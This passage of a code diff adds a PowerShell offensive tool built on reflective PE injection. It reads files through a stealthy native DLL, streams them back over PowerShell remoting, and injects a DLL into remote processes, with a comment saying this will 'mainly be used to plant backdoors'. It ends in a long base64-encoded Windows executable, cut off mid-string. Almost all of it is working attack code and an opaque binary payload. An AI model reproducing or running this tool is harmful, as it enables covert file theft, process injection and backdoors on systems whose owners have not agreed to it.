+ { + Throw "Couldn't get a handle for the file" + } + + $StopLoop = $false + do + { + [IntPtr]$BufferPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BufferSize) + [UInt32]$BytesRead = 0 + [UInt64]$BytesLeft = 0 + + [UInt32]$RetVal = $StealthReadFile.Invoke($FileHandle, $BufferPtr, $BufferSize, $FileOffset, [Ref]$BytesRead, [Ref]$BytesLeft) + + if ($RetVal -ne 0) + { + Write-Error "Error reading file. Return code: $RetVal" -ErrorAction Stop + } + #If there are still bytes of the file left, and a Path was not specified, throw an error. + # This means the user is attempting to stream back a file over PS remoting which is bigger than the max size they specified + if ($RemoteDestination -eq $null) + { + $StopLoop = $true + } + + [Byte[]]$ByteBuffer = New-Object Byte[] $BytesRead + [System.Runtime.InteropServices.Marshal]::Copy($BufferPtr, $ByteBuffer, 0, $BytesRead) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BufferPtr) + + if ($RemoteDestination -ne $null) + { + $FileStream = New-Object System.IO.FileStream $RemoteDestination,([System.IO.FileMode]::Append) + $FileStream.Seek(0, [System.IO.SeekOrigin]::End) | Out-Null + $FileStream.Write($ByteBuffer, 0, $BytesRead) | Out-Null + $FileStream.Flush() | Out-Null + $FileStream.Dispose() | Out-Null + $FileStream = $null + } + + [UInt64]$FileOffset += $BytesRead + + Write-Verbose "Read $BytesRead bytes. $BytesLeft bytes remaining." + } while (($BytesLeft -gt 0) -and ($StopLoop -eq $false)) + + #Close the file + $StealthCloseFile.Invoke($FileHandle) | Out-Null + + + + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + + #More custom code + if ($RemoteDestination -eq $null) + { + $obj = New-Object PSObject + $obj | Add-Member -MemberType NoteProperty -Name Bytes -Value $ByteBuffer + $obj | Add-Member -MemberType NoteProperty -Name BytesLeft -Value $BytesLeft + $obj | Add-Member -MemberType NoteProperty -Name BytesRead -Value $BytesRead + return $obj + } + else + { + return $null + } + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + [String]$PEBytes64 = "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